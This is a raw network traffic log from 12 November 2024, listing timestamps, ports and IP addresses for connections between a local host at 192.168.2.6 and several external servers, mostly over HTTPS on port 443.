Nov 12, 2024 10:37:25.737293959 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:25.741274118 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:25.741343021 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:25.741350889 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:25.750744104 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:25.750813007 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:25.750821114 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:25.760328054 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:25.760389090 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:25.760396957 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:25.769800901 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:25.769869089 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:25.769875050 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:25.853738070 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:25.853991032 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:25.854022026 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:25.858361006 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:25.858704090 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:25.858726978 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:25.867861032 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:25.868062019 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:25.868078947 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:25.877460003 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:25.877553940 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:25.877564907 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:25.886756897 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:25.886794090 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:25.886832952 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:25.886851072 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:25.886948109 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:25.970824003 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:25.975301027 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:25.975343943 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:25.975352049 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:25.975375891 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:25.975632906 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:25.975641966 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:25.984997034 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:25.985060930 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:25.985084057 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:25.994409084 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:25.994452000 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:25.994539022 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:25.994549990 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:25.994694948 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:26.004101038 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.045909882 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:26.045923948 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.088063955 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.088228941 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:26.088252068 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.092413902 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.092449903 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.092492104 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:26.092499971 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.092698097 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:26.101926088 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.104888916 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.105005026 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:26.105016947 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.111520052 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.111568928 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:26.111576080 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.124480009 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.124591112 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:26.124597073 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.194279909 CET	443	49844	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:26.197984934 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:26.198004007 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.205168009 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.205447912 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:26.205462933 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.209470987 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.209546089 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.209546089 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:26.209563971 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.209618092 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:26.219003916 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.222003937 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.222048998 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.222048998 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:26.222065926 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.222143888 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:26.225375891 CET	49844	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:26.225398064 CET	443	49844	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:26.225975990 CET	49844	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:26.225982904 CET	443	49844	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:26.228631973 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.238019943 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.238079071 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:26.238094091 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.242347002 CET	443	49842	18.244.18.27	192.168.2.6
Nov 12, 2024 10:37:26.247415066 CET	49842	443	192.168.2.6	18.244.18.27
Nov 12, 2024 10:37:26.247426033 CET	443	49842	18.244.18.27	192.168.2.6
Nov 12, 2024 10:37:26.248486996 CET	443	49842	18.244.18.27	192.168.2.6
Nov 12, 2024 10:37:26.248554945 CET	49842	443	192.168.2.6	18.244.18.27
Nov 12, 2024 10:37:26.261744022 CET	49842	443	192.168.2.6	18.244.18.27
Nov 12, 2024 10:37:26.261812925 CET	443	49842	18.244.18.27	192.168.2.6
Nov 12, 2024 10:37:26.275494099 CET	443	49846	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:26.277656078 CET	443	49845	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:26.281667948 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.281805992 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:26.281830072 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.287692070 CET	49846	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:26.287704945 CET	443	49846	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:26.288225889 CET	49846	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:26.288229942 CET	443	49846	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:26.288513899 CET	49845	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:26.288527966 CET	443	49845	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:26.288949966 CET	49845	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:26.288959980 CET	443	49845	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:26.310700893 CET	49857	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:26.310736895 CET	443	49857	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:26.310816050 CET	49857	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:26.311042070 CET	49858	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:26.311098099 CET	443	49858	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:26.311150074 CET	49858	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:26.311424017 CET	49858	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:26.311439991 CET	443	49858	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:26.311536074 CET	49857	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:26.311547995 CET	443	49857	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:26.312238932 CET	443	49847	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:26.312649965 CET	49847	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:26.312664032 CET	443	49847	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:26.313097954 CET	49847	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:26.313102961 CET	443	49847	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:26.317250013 CET	49842	443	192.168.2.6	18.244.18.27
Nov 12, 2024 10:37:26.317260981 CET	443	49842	18.244.18.27	192.168.2.6
Nov 12, 2024 10:37:26.324155092 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.324290991 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:26.324309111 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.326653004 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.326700926 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:26.326706886 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.336759090 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.336843967 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:26.336863041 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.345824957 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.345868111 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.345895052 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:26.345906019 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.345957041 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:26.347642899 CET	49859	443	192.168.2.6	162.159.61.3
Nov 12, 2024 10:37:26.347690105 CET	443	49859	162.159.61.3	192.168.2.6
Nov 12, 2024 10:37:26.347757101 CET	49859	443	192.168.2.6	162.159.61.3
Nov 12, 2024 10:37:26.350794077 CET	49859	443	192.168.2.6	162.159.61.3
Nov 12, 2024 10:37:26.350816011 CET	443	49859	162.159.61.3	192.168.2.6
Nov 12, 2024 10:37:26.354917049 CET	443	49844	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:26.354924917 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.354993105 CET	443	49844	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:26.355052948 CET	49844	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:26.355094910 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.355128050 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.355142117 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:26.355148077 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.355324030 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:26.358562946 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.369366884 CET	443	49848	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:26.369375944 CET	49844	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:26.369390011 CET	443	49844	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:26.373325109 CET	49848	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:26.373354912 CET	443	49848	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:26.374133110 CET	49848	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:26.374139071 CET	443	49848	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:26.404331923 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:26.404337883 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.408740997 CET	49860	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:26.408782005 CET	443	49860	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:26.408857107 CET	49860	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:26.409821033 CET	49860	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:26.409836054 CET	443	49860	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:26.412270069 CET	443	49846	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:26.412341118 CET	443	49846	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:26.412410975 CET	49846	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:26.412874937 CET	443	49845	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:26.412897110 CET	443	49845	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:26.412969112 CET	443	49845	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:26.412981033 CET	49845	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:26.413012981 CET	49845	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:26.414176941 CET	49846	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:26.414185047 CET	443	49846	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:26.414231062 CET	49846	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:26.414236069 CET	443	49846	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:26.419683933 CET	49842	443	192.168.2.6	18.244.18.27
Nov 12, 2024 10:37:26.420886993 CET	49845	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:26.420905113 CET	443	49845	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:26.420917988 CET	49845	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:26.420922995 CET	443	49845	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:26.424236059 CET	49861	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:26.424263954 CET	443	49861	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:26.424523115 CET	49861	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:26.425076008 CET	49861	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:26.425087929 CET	443	49861	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:26.426228046 CET	49862	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:26.426270008 CET	443	49862	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:26.426322937 CET	49862	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:26.426484108 CET	49862	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:26.426495075 CET	443	49862	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:26.441150904 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.441227913 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:26.441231966 CET	443	49847	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:26.441248894 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.441330910 CET	443	49847	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:26.441395998 CET	49847	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:26.448282003 CET	49847	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:26.448301077 CET	443	49847	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:26.448311090 CET	49847	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:26.448316097 CET	443	49847	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:26.452864885 CET	49863	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:26.452908039 CET	443	49863	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:26.452984095 CET	49863	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:26.453644037 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.453699112 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.453758955 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:26.453769922 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.453789949 CET	49863	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:26.453802109 CET	443	49863	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:26.453819036 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:26.456162930 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.462852001 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.462907076 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.462938070 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:26.462949038 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.462995052 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:26.472476959 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.498498917 CET	443	49848	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:26.498519897 CET	443	49848	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:26.498588085 CET	49848	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:26.498614073 CET	443	49848	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:26.498631001 CET	443	49848	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:26.498680115 CET	49848	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:26.499250889 CET	49848	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:26.499265909 CET	443	49848	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:26.499274969 CET	49848	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:26.499279022 CET	443	49848	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:26.502721071 CET	49864	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:26.502742052 CET	443	49864	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:26.502795935 CET	49864	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:26.503074884 CET	49864	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:26.503084898 CET	443	49864	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:26.515995979 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.516036034 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.516053915 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:26.516061068 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.516100883 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:26.558376074 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.570722103 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.570754051 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.570775986 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:26.570781946 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.570838928 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:26.570847988 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.570971966 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.571011066 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:26.571016073 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.573353052 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.573410034 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:26.573415041 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.579966068 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.580028057 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:26.580034971 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.589467049 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.589534998 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:26.589540958 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.589550972 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.589593887 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:26.590881109 CET	49824	443	192.168.2.6	142.250.184.225
Nov 12, 2024 10:37:26.590890884 CET	443	49824	142.250.184.225	192.168.2.6
Nov 12, 2024 10:37:26.678527117 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:26.678595066 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:26.683155060 CET	49865	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:26.683173895 CET	443	49865	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:26.683368921 CET	49865	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:26.683511019 CET	49865	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:26.683526039 CET	443	49865	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:26.763789892 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:26.768562078 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:26.802850962 CET	49858	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:26.803616047 CET	49866	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:26.803654909 CET	443	49866	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:26.803714991 CET	49866	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:26.804194927 CET	49857	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:26.804912090 CET	49865	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:26.805243969 CET	49842	443	192.168.2.6	18.244.18.27
Nov 12, 2024 10:37:26.805305004 CET	443	49842	18.244.18.27	192.168.2.6
Nov 12, 2024 10:37:26.805346966 CET	49842	443	192.168.2.6	18.244.18.27
Nov 12, 2024 10:37:26.807805061 CET	49867	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:26.807826996 CET	443	49867	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:26.807984114 CET	49867	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:26.808645010 CET	49870	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:26.808670998 CET	443	49870	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:26.808720112 CET	49870	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:26.808789968 CET	49859	443	192.168.2.6	162.159.61.3
Nov 12, 2024 10:37:26.811821938 CET	49871	443	192.168.2.6	162.159.61.3
Nov 12, 2024 10:37:26.811832905 CET	443	49871	162.159.61.3	192.168.2.6
Nov 12, 2024 10:37:26.812026024 CET	49871	443	192.168.2.6	162.159.61.3
Nov 12, 2024 10:37:26.812163115 CET	49866	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:26.812171936 CET	443	49866	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:26.814331055 CET	49870	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:26.814349890 CET	443	49870	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:26.815443993 CET	49867	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:26.815469027 CET	443	49867	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:26.816164970 CET	49871	443	192.168.2.6	162.159.61.3
Nov 12, 2024 10:37:26.816186905 CET	443	49871	162.159.61.3	192.168.2.6
Nov 12, 2024 10:37:26.847332954 CET	443	49858	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:26.847337008 CET	443	49865	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:26.851330996 CET	443	49857	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:26.855336905 CET	443	49859	162.159.61.3	192.168.2.6
Nov 12, 2024 10:37:26.920156956 CET	443	49858	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:26.920216084 CET	49858	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:26.925533056 CET	443	49857	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:26.925579071 CET	49857	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:26.953721046 CET	443	49859	162.159.61.3	192.168.2.6
Nov 12, 2024 10:37:26.953809977 CET	49859	443	192.168.2.6	162.159.61.3
Nov 12, 2024 10:37:27.134536982 CET	49872	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:27.134577036 CET	443	49872	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:27.134644985 CET	49872	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:27.134820938 CET	49872	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:27.134830952 CET	443	49872	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:27.138788939 CET	443	49860	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.146130085 CET	49860	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:27.146147013 CET	443	49860	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.146797895 CET	49860	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:27.146802902 CET	443	49860	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.154247999 CET	443	49861	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.154766083 CET	49861	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:27.154793024 CET	443	49861	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.155488968 CET	49861	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:27.155498028 CET	443	49861	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.193608046 CET	443	49862	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.194716930 CET	49862	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:27.194732904 CET	443	49862	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.195453882 CET	49862	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:27.195458889 CET	443	49862	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.212025881 CET	443	49863	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.225455046 CET	49863	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:27.225477934 CET	443	49863	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.226092100 CET	49863	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:27.226097107 CET	443	49863	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:27.230628967 CET	443	49864	13.107.246.45	192.168.2.6
